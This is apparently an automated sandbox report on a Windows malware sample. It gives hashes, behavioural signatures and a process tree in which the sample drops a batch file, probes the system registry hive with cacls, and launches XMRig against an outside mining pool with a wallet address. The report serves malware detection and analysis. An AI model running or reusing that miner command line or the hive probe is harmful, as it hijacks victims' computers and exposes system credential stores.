Analysis
- max time kernel
149s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 16:02
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe
Resource
win10v2004-20260513-en
10 signatures
150 seconds
General
- Target 2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe
- Size 2.5MB
- Sample260804-tgvz4stgrc
- SHA256 09ebefececde2afcdb3d63555165e863d7a0b1567c690e931a74c8a0cff4a810
- MD5 41f7e03b895373f806c0148d18ed14d9
- SHA1 1ffb22c193aaf0d2d51aa923f932775bce41fc68
- SHA512 b629005d9beaee9c79c18d55aa1683cdf0aca4235439e4e04e5b60c5ff0014000e2bf3c3be0a8aea01d3c88a66dd510eaf6143646c2dbc0629e0751bb7621f1e
- SSDEEP 49152:kDjlabwz9B8aWgT9XAR9NVhQxNEGAootTySME93GOeyMkiSJJCxuFQ4pIKPZ72:0qwsaZ9XANzQxNEGYTy/CRxMkLC4FQ4Y
- TLSH T136C51209E7E908F9D077E538D5668902F3BA7C5D0761EB9F23A0166A1F67390CE39312
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/0x00070000000244fa-11.dat family_xmrig behavioral1/files/0x00070000000244fa-11.dat xmrig - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation 2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe - Executes dropped EXE 1 IoCs
pid Process 4428 xmrig.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1336 cmd.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeLockMemoryPrivilege 4428 xmrig.exe Token: SeLockMemoryPrivilege 4428 xmrig.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4428 xmrig.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1800 2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe 1800 2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1800 wrote to memory of 1336 1800 2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe 88 PID 1336 wrote to memory of 376 1336 cmd.exe 91 PID 1336 wrote to memory of 4428 1336 cmd.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_41f7e03b895373f806c0148d18ed14d9_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe"1⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1.cmd" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\system32\cacls.exe"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"3⤵PID:376
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig.exexmrig.exe --url pool.hashvault.pro:443 --user 44nkuDevyMkUnE7Lc4kJThfZqW3zyQ62nZxB9Ca6ikxTK7SMYdLmb9eSdp3PcYDwziHMN1xyq3Yq7BNcbGXDCBhWMzEVEBX --pass 2032 --tls --donate-level 13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4428
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-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\1.cmd
- Size 802B
- SHA256 490e9a5abb4869d7d1e3b51dc1edfb7373a03df9aa6722b1cc999e94e3b4a3b5
- MD5 bd62400836bf02f1a52d8c289ff804aa
- SHA1 ebb0c43edaa1e53aca72dbf7a926193becb7ec5b
- SHA512 72fcb7ff9def69f3d63f31ab5177eb74db8aea5363844eb9506f056e25d78624de6afdfaae0dbe0015e984596a717596e42d8a173d27ede1ab9d7e23b1653999
- TLSH T1B301C2140145853623BBC4B1E7113145D47AF2476C1888B4F533A2E0DDBE245DFFE6D5
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\xmrig.exe
- Size 6.2MB
- SHA256 6fa80698d7268f6e88aa88c06fb27ee99e1bcee747c2e76911e6206a5b1aeeb3
- MD5 d55877f44cd3a93f7f31a5437a615f6e
- SHA1 687076e47a39abd783ba575f5356baefd18ab970
- SHA512 16bfdad2e8fbc0d45b28216e44b38ddea08dfd10f8cc839c92bb35cf1e051611dec9e62ddc1553cb4b0cbc43f5b5bc0f688ce850201a076b314a26e09150ebdb
- SSDEEP 98304:GqFp6S568NMyOefiH7cXdHkByf1WCseto4tMQXfXDox+Sxw427x2vHkZvfl3TDQU:GRC/NM0rDoxrix2PkZvdAv5n1gpgQ
- TLSH T1B9569D26B7A401E8C87AC53CC6469A13E7F2B81A5370A7DB17B0567A1F336D45E3EB10
- MD5 SHA1 SHA512 SSDEEP TLSH